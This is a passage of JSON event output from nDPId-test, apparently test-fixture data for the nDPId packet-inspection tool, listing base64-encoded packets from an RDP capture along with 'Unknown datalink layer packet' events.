+00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":699,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00424{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":700,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":762498,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1g3EAAfwYov8CoAo6sEAK5DT3NDkecJST5vQlTUBj5y74nAAAXAwMAMAAAAAAAAADZDNgXmuU7zUn56UYLckW+6AywC\/Bz45s6XY2rPQTCfgTFI\/21bXVXXg=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":700,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":701,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":762527,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9CnRHnCVZUBAf\/tJjAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":701,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02076{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":702,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":762658,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFg3UAAfwYj+sCoAo6sEAK5DT3NDkecJVn5vQlTUBD5y5SlAAAXAwMGbwAAAAAAAADaZCNxFZJp38Pq78sBsF0OmDRixj\/8SAjgNe+pHc8xjNnNtdfofNnxmnHeV6NAV8fT1GwqFTyRhXjbZBmJHg+NCF4a3hoFfP4ObL67jmTTrshIpY+jzt0k+d5kB6aeTd+X\/K8VNY\/o+hfEX5IvFRfI9YHDQeDTEc8be6WxSYRqrwagP+BgyCG2qCf3uOusbf22e5DDB5b\/FQ46dK6JP\/W1zcSRw5c7ub67kW2BqmokGfIftRFObxCpLuwXAEvsU4ZiH7XZJhJfqQ2ZNpo56uT7Ed3ZA7+w2Qu5FrGBBPDrw2\/yoIGnMM\/dW9txgGyLKx0kgtFcl3vQktOBnAIx6D2AXPfTu5tvT+wkEoH36fJwmtftI4LvEkYRs6mHWcuqkAIipuWbGTHN9nOt7eWobczFd2I6CJ49yJCMXNyWtC0m49ELX2Q4Q\/\/guTb6WJhvdP\/opwBZw5jUi2lHQSmxERfBO7miB0DLu+jIh3pNZcEDqnRcDeRxzenxoKv8mG\/Po+eJdem0J0eJb+uq1cJPopJu8BZpZf6XOLgVnOuWWO4RomxO7ycADKg++btRaW93ywsmb6LExTrWraiSfYHIfpxmUFkYfJWJSAlWfBK8O\/vkg22H6pcHWmLV+7Bz\/D3jxPVGcWCRv67GkK8YAHwrVA7lL3+xXdQ1Avj9jMX+Ll\/armZnam1J7GqkwRZQytTPn7JCh4Z6WJN\/l3fr6FYuAg45KumG9uhslaE3foE7IG1im3IwTEHBwE8m2bFSUijwMQYWU3gj5LWoO9chW2FllRZRkJYGU1nniiEKkA0lzi6I2j2RC2RRk3ggEal\/HJPp+GTdLItYud\/yLaufd6wa14Gs1YwIqA2Gzlz7MVxQeM1Upb1uKD05Whg0TTgAigAM0tKRR+bNC6qN9XSG7RlrTp8ReYWg5VJS5hmUYRC0Yf\/PwFi7bJV\/i0uWUVA7To8fbPeDf4m\/jGZVLrnAYvh6oEMUW55dbv+FX4MurSXcmM6qETJ2GEg6+SvHOHVm0gwKgu0T1kcxg8VxvDbaSdFumhXk4xJ6YclL3dcv4neuLil5b4i6Wg7ajjHVV8lWwelQoFNVskCMSNpOs6RUDdhdfsi3BD+h6dMMGHqIuQZ+KK5AGmBYvI9VyqlDShw69tBBzfi1zrpyBNwqASNUGpjbWYF3Eelb4oYhSq33Gg0DbJV\/KpHl8f3zW1GUjR\/UzmtgPfi5P0svCmtVEsipz1Ai88w7kdSuPLJn9VIK0Fqh8K9M4V6Kr2DirhqARLW9tP+6io+q9tRKiW23Gy1fg6SWSOvJyI7DtE3SKVYxIPoOx\/3eGPRGP2SXmSnnFo7lrETe2ExmznHVKNjI7qvbe7q0FVVB2qnii8jR0jFBl06sVPuLdZugH9TWdoJCJXM2wo\/AEApuUkMFsOD6jXp98DZbSHj7PBrUxcdZR9SVlDSrGL1ThziHihlJFlQMzMqaArpe4PZWNiU5Ua+KIRjNZ0eH6o\/dCiLZpMZTz4T+awme31vvDTCgfJbVq9IkGJInjqsmkbC3V95pqEwriYVlGo\/G3dMENVgYcAw2rqsYjV8ygX7eWZ9Lfou+MHjUzb3r7stnxp8NIgO8TJEz7sQejwfhwT93lH+nz2tGXvVO4b2eeHSG6DjwrTBJuKslwbKqfX6FV2F4ZezSY7Sg82VXaGuv"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":702,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00864{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":703,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":762804,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNg3kAAfwYnd8CoAo6sEAK5DT3NDkecKlL5vQlTUBj5yzDwAAAUD5Twh5lelXnTAZ+mZaaA8baTuuOk0kRhLKrAnrpvWkUMCopVL4wrEPdGlucJmHk29Nq1d5qGw48pqxA8NzDBX\/CTu0HnF8+lNwxRtl4n\/Whdw5jlBFTp5szVfqaJLQDUqYP7g4yJJleGggqf4G4nw3yd+oQFr9mEubytEHXZxAYOX7C7UcU8a6Ll1tKja3JDmKTAQzQSEU+UITNsUgdIp1C3DbQ63i8UyjS+6sDNIma\/S1Sqafz9NBiOYSCra3p7FFUW5C2dBXYwU9tnsUHGBAWijutcfKfiYRNM8iNhdhsQDsmwUlDxMmeg0LH4TcYiv\/jSuj0h8wyf5Bi71\/071EEJpSDH3VCzOlQQzo4V6xaaiJ9cc9OZWueeJkf2ypry\/OXoaRw19aJMOF69NCE41l+IXdWXpCcNsVwCxlNrak4JqdZvJLBXttt1CpqVxaoTrKtNM+xXe6JdB2YntrQeiAZKWaFoKPsWcZfq5voBbzLYc\/gUhZ\/1vrV+"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":703,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":704,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":762841,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9CnRHnCvNUBAf9Mv5AAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":704,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00423{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":705,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":762912,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF0AAEAAQAbIm6wQArnAqAKOzQ4NPfm9CnRHnCvNUBggANURAAAXAwMAMOAIO32NJwvSpDjg1lAYCeWZl\/5HDXk7i7Qm+turRqsHXlboQ6Fl2Q0VP+wDPDgjYg=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":705,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02080{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":706,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":768903,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFg30AAfwYj+MCoAo6sEAK5DT3NDkecK835vQlTUBD5yyiEAAAXAwMGbwAAAAAAAADbVLXFR68XAJqWPpvxDmTX1xYQ4\/My4A6rEKRGeaC2o0lUbC+QTLCOVvaKrArFJiy4W8Tg47P88CTI9fob9nvxSVt2Iqx48TYZJpLWfIHt8OlkB+vSv0qlHAHSilOxa2H1Lhjzl8xs4MtLGKj2mRNOtg\/e3iUJ\/rPD9Uxlhz\/SrIFSfTqOkD3gI9DiQ2SwCOYEjuyftSSkne+Jiv\/g1hztUWzYi\/OHPmkIKSfxww2Svjp5QL4BbEUz4\/P\/6U+sG8aqkg3cqSSjPX+JMw1Vd7XuvRR3dNI7fZDSeyOuSAxB+OoSN5SUgj0jFvKuqXj9cEZbFWFamVh+O4ladMZyuaPb6UKCtekbi5xJHX+85\/YHtcO+enXZQmveJSu0nhabDJh6RsW+7AOmsCWNfF9NO0TNIOIK6TB12zI77I5jTPcHeKOdsNBb9BivHzh\/lBCOfHGUgErOr\/CCWNWTVfpAE+IWiTdNdGnRJwCb8JRK\/gomiZP\/1nQGx1H+0T7B9hk\/B6B7T2pbC1hatmTJuIqbnQQRafVv5A4dqGSFH1oEyCcW7I9ShBnKPDL4Fx6qgC\/kt6QdM1i5S8aTErtnKbpQYxgyGwF09ljPhfOn4EVK1KnapXe4+i1D62VXyoOjsY\/pzdUFuYKIuE6zGuDdXxmaG6vBUi7irH8H1cTeopKBjq9k35fh14WynXkWGVw0kfN0ykE+YNmTT8GWbuvCO+e9k1u06rB+sWJvDPmMH0Zrq5NUrA30mGqfvIUz9cvhtgamAam90DuGyb4SUyVnOMd2\/H5Y+6qP232ElAP5cxsObSLlULrdIqnKINx8Phv8p4U3\/V8iIBlb8JC8Pk6j9Imnit6FjXvToo7IridTPwYp77\/1+NAdlMYe8h8wkUKOxoDIU6tpwKTWPvIzEHbm6qzLwgv69uGUE3ikmK9tl+0mdmz34L6En0B2qVdyc8XXc86snD+qSFt3TxlTdUEiF7yI7uUR3IyjzqbCVgu4aD8mAv1Mvh6coHLuTs5QmSeQC4BXHB\/BgAQgzGET5lotICpEU86UemzXuXl8ZEynJdGOIuHmYO5WZApbFVht0+sgsOGO\/pit0ewcYT7A16JGi\/\/AZnjb8NuvdmCJdvJPKN6GXa6sjdpkELulwH0zjkESQwNnTN2pb+lBYo8D1zOoK8phbluVm8s3OJ9AjxCOcYf53xYhzrVH9md3nFgcdWLJD78VAvTy1LK1FxqJyk7dwI+8o3k5ety0Z9XiAooYv9+aaC56B5D+G3TUKoBQeIc9uF1Rh+2\/X9CG9iTegRHRO74lmMHQ7BWbRYa17C8jUmHWVf9c0Rra6nEifdkz5z4Nd13SSK1n7ml30yDYIbHs3coKaY2VNtK4DHlYIWKxTP26l74evdNQHKjCrvnyNKMn2+x4h8ihrA6t6B\/duS3YXkFZVNSc7\/\/2kX34Q3aSDfNh+0q890IfXvd6JYE+MvxO6ZrDsnguGT\/caGSmuKlCS4YRZ5GXwvwyg0xzEa1jTC6FDdoZUkLLf89L9onymOmPotrWQH\/RWUDiKslt58+E8coCJmOxuaAK250e0dsxP7CPwJnGbFta66VKXLpBJGxZARuXfmJNkwdHI82A57Qe6hrUU6LsLTbHt177Vz4sH5AHh8iGhDCvhH1W8uN+xl90xI0AF\/SQqdQuF+TxJkaefKRG"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":706,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00866{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":707,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":768954,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNg4EAAfwYndcCoAo6sEAK5DT3NDkecMMb5vQlTUBj5y0y7AAC+ujWKNDc\/QwDPo5Bj1FQ1ONjMytKhPnp1Z2AMUeXYNeglohtYQf+F1YPoMVcie3YqRtLBUi9TXd\/9sfKsMM18\/wMsE+3cY3\/cezR6xjlvxwJ+3O3iQmWdFbp9+eaHvTL1vFtBQ6s2LQXxi+DBnhza9etMEDov95u2wP7HPkS6ielNqlSyVsT6abXny8FrN5oKVfZ6h1h9v1E8OfLNl7VcUTnjhVPLPIGbH2ViUm0IEwIDBzLrF7BO14b2R\/ZICqOoYWondVZb9Xk2\/EMcyb8fpUcfpOoqzOBworejC\/FA59tqbGV5cNJGc5cohXupQb8h28e+ASSvLOu\/TxdClORHbuR4u4TE3tzCinbRx3hkwz8bhKJRX2FK075HwmCNiaYQAzfgxi+B46dbsYSLt\/6PH++3Prus6ruLVcBiANVmhHsATwOUJPiEt1DJ5BjszIwti7e2bAOAxEhq3Htt5\/LyFsNq2ZGznecnGQZv+xYqYe5QFFUK3EClpX88"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":707,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":708,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":768987,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9CqlHnDJBUBAf9MVQAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":708,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00423{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":709,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":768997,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1g4UAAfwYousCoAo6sEAK5DT3NDkecMkH5vQlTUBj5y9+dAAAXAwMAMAAAAAAAAADc0\/jfrep8mW18l8DPhSZudwhYnLGUwE2QjXN7HIInvqALoN7K19P0Xg=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":709,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":710,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":769088,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9CqlHnDJ2UBAf8sUdAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":710,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":711,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":769424,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AgAAAEUAAGUAAEAAQAbIk6wQArnAqAKOzQ4NPfm9CqlHnDJ2UBggAOKmAAAXAwMAOOAIO32NJwvTRFFZwujbYAwmAd9act6\/iibCjJaoKyu\/a5gdgwM\/S01H5wLUskMoftgedrt8Uv24"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":711,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":712,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":792642,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAAChg4kAAfwYo7sCoAo6sEAK5DT3NDkecMnb5vQnFUBD5WeyZAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":712,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":713,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":792720,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAAChg40AAfwYo7cCoAo6sEAK5DT3NDkecMnb5vQo3UBD45+yZAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":713,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00422{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":714,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":792775,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1g5EAAfwYot8CoAo6sEAK5DT3NDkecMnb5vQo3UBj45yG8AAAXAwMAMAAAAAAAAADd6M3uep4Ief9oOi8Cvh1SWK4cTJ+aVC9S4GLQB+oysybd+E+FotEjKQ=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":714,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":715,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":792809,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9CuZHnDKrUBAf\/sSfAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":715,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00422{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":716,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":792840,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1g5UAAfwYotsCoAo6sEAK5DT3NDkecMqv5vQo3UBj458sXAAAXAwMAMAAAAAAAAADeYd0+3hOqgodBn6c2HXweUn+VSxJ8yBWT+26tiSqaGYTbAtWVduo+yg=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":716,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":717,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":792992,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9CuZHnDLgUBAf\/sRqAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":717,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02078{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":718,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":793127,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFg5kAAfwYj8cCoAo6sEAK5DT3NDkecMuD5vQo3UBD451YeAAAXAwMGbwAAAAAAAADf360FxlPFXcuXxUbLxzuqyjKuEf7K2M95POPLdYUlUwItcVAKGC4Ita5sFUH8w5Ln1W4clvzv1nrYzXCwo4Joh5uR9NngTDWPWAQqt3ymxKiguGRsZHDvQWh8SZXE9cFoxlVl\/d\/uTMIzhlfvMA3kHBHK6kbJK5PizXboRNgGT8aEJXbCZ14wV5WHjuVDCDfWy9p1MW3Zc\/1ghk3WnW3YgF5tHd5YgCtzt2XA6dRB0+91Mx2zmxwOY5bF+xEPkDYxYFNa\/CMley\/MiIm3n6ni5w\/CSQV0dWEbhdyrSQeBVEJ4tDAgNXcVpVP8aZU7pwWdnNEnGEyvCuBHgseB2fXF4Qjx55UimhnYZTOFq08dQKhXbToT5b\/2nKnYJs2CXe3kIH2xR9cMrOMsKtwIUXFWiwwbgoir4\/mS6e5iBg77ytU4TtOIqR2Rs+GMM9BgqzA9MJy07LXZxwY8wVh\/KwYRZy60MUtH+1Q0aTvcDstbl+ChLn2KaGcmC0Yk\/Q0ekfZTUWopDYkNbLPKoEhhjKfwN2\/PzDRsisOnK8z6f5k5dK5uv2HUqvFBFilO0c5F9m\/7t7dq+Rv4VeeB58smk2NVeJaJKWgPbkw4AKrbclrqyJrh32MXUxRIn7OP7l3vudd1J0VgrVG6daoEZ\/nAzegapicHTADu1ND7vnzMrcM+x1Lc7lq+xPEG2o+qIoas65DiBsYedRHQWfSXXR+YLR7fDU66H7\/au1YC2YcwNW9dUK9s8CoZ3RFT0QkoPD8odMGMkRciG4S5yU2CukiM8DyOhx3P2SqWlWbatCZ1AJHijaFG2crKp0vN3Vuc6xKbJ5FkdYO+OcrDs\/WTLdd\/3aTMfIWzm\/Jqaj945BW5axnrk22x6eoN33Blb22aIGeundwPuIlHttCAY\/QOlB65r888Us0HUqjrc04m9q00qILJcpQTla0KJrYFzrJKyV2Dd1LbuD7XuPUHEHOdRD\/qx5Cy1hxyCeibAERlRTJMSbDqOVs2ct1J3AIz0eLqepw8v1JtMbDbhkVKZip7ZOZ1gdPn0WP4u3IHZEArm5WC8ZbO7BNzPSYT6aF2IHDDRywvsPcveMoB3j0\/UdP0wDSxUe4KI8l4XJxlGFTSlL30GWlUXlKGEu+qTbM5ir4VjVNYxa17JryvSddQot+V\/LagkDqky83QOqZ3Ksn3i\/u9gUTXG9SszdbDGjRIwPWbjS2HYoQxG3wxP+2vLhVCsD1xFvRHF\/aYSDEQ0cmkIFdYXHJX1AR7sUJ3f6zEqhy+vuEPsQz0ng7K3R0oFVX\/9vGSV7c+HtZUL5\/KJv5BYxMPmYSsaBoQB1c+IMHLrsDq0IQXQZTgU2yWFFtjIkmAKsqdjVTZyj+x7KVGhqQBh673plmC6pNZGS+ax94KLtQqAyNvZPs5bkkA5KwTAfIPp1aE0raGwl+hUxipTlVCIbjXvHp2RaIFWeCsUxeP9k1613hrOqN+c7Rby4gYVBIc\/9EbPBbxThvwIZztzdKkWUy\/LNq5zKWI++QUGXZOrccJkrcZT8jMNSn24D2kfzQwxGkdUr6qR53VJrMEPt8AcXs9xcnhRISHpjx6Bpz1W1nS8+SExODauWbyIDxKQJ\/njuNPFhi2QatwGUQtNv+r6CQip1JNWc5hIqVIpUQWp8ipIi8KBiSLgBPPaf0MN00IcdVj"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":718,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00864{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":719,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":793226,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNg50AAfwYnbsCoAo6sEAK5DT3NDkecN9n5vQo3UBj45148AABMV9hLfhLo6L+i9rMUypeX+5CwOc7mYpvvZqKz\/a8ChEZTd+jBDOZYknaH+wQ0s8mEY99NQwEtp1Fcy51ds76eZkGkg3gxS7EHIqt8M0fIPZrLLwzVachen1hyK5T2VcgZPTobAVmZ\/F8076+7aF\/XnzYz5MSBdJx+AagIZECT9WlaKjfIzpuwKTc38S6tI49vZ3be\/VPek1Y+15B8qMKJVLTlnUfDHi6sSQkQJT6x0F44z27bO8DL4MLy63S4Z9ui\/Q\/n3txHV2w+36Isl+j7M23lzXyTs3l5WSBAR8+hlyIPZVlpDRjyYJYaAB0+vVe9aDKy8idW05kYAGfc9bbjfth+eL1vzmN01KmaLxblP\/KrgZ7lc9R2J1QU+770lI7+Kn\/xBXA4cAOpmlTRvf4aacGrKrqcyttrBK9LNbpbcqGF0s8xGLKYVcVbo23a7anzc0T7yiu8MuuZDbeRl9BGo29qc6qb3UVlymHiim6YcqSJwzXD2i8tHAbT"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":719,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":720,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":793330,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9CuZHnDlUUBAf9L4AAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":720,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00423{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":721,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":793416,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF0AAEAAQAbIm6wQArnAqAKOzQ4NPfm9CuZHnDlUUBgf9MtKAAAXAwMAMOAIO32NJwvUiyWEj2KTHi0a5C1s17tjJIEWNmYKcgJsB+Bclj\/eTDQSJD2hJwKB1Q=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":721,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02071{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":722,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":793512,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFg6EAAfwYj78CoAo6sEAK5DT3NDkecOVT5vQo3UBD45247AAAXAwMGbwAAAAAAAADgwwDt82ALPuZtaSAd2qYSpf6bOXR2hJyNJK+rHQASiqXWjgBMnErAwKyNAnxb9EfOf0A55Ng4KTS06XfzD2EE24ufoK5m3DsQoRRoERR18PiXFFfSIBSm0LDiXRacsEdVvCRAtbqg5LqC36gJcHtKiV09idbNdKzIkhpFCNpOjAvECcClrSJ5I1qPJ2PVpfqi4gUx4OT0lBfVRvR4ZcaBWpD7mVc9d3dzjmeYs27XPorjNeEvrf13esGekMO+zj3EtzbYPnfEuTx4HmENtWjunhMtHaPUZOlDGb6Fweu51\/U6pjQHyR82CkqV+hwwJBgBr+nsQ7WVrkSnT6Fjuxt9hJPpIEgOKe3StxjiymxT9KylFo+DnwedEAtgKaXmvbGJa2ZCWFDAQDeNHfyVCv6AcK7\/cDBsZJ0mAsrpbrADlBHyYesQfeC4MLDB3Y7EVqTdxDtLkTdUCubfxQRMJEDybqSyX54\/SKUPxdvSLzAmVXStqDwBF50vE2A\/1A1FCOdcJ4WrxfxvMcqMh5IhTFCdJ438RGL0ieCbQx7FpYny7BTBTZidXcsTPHz1C2QIkzff\/mq85ARVLv9cWhIjUXZVeHu9xFGwwe1e3PuogLyaWsAhza\/HZtIeUAXvzYfc6D7TpjxmntlaQ3CAmsxOU06+pugsI6UkF0QITFByYg\/Scz1dtlQEebOO5y1\/k7bfsKCiWKrUfMTc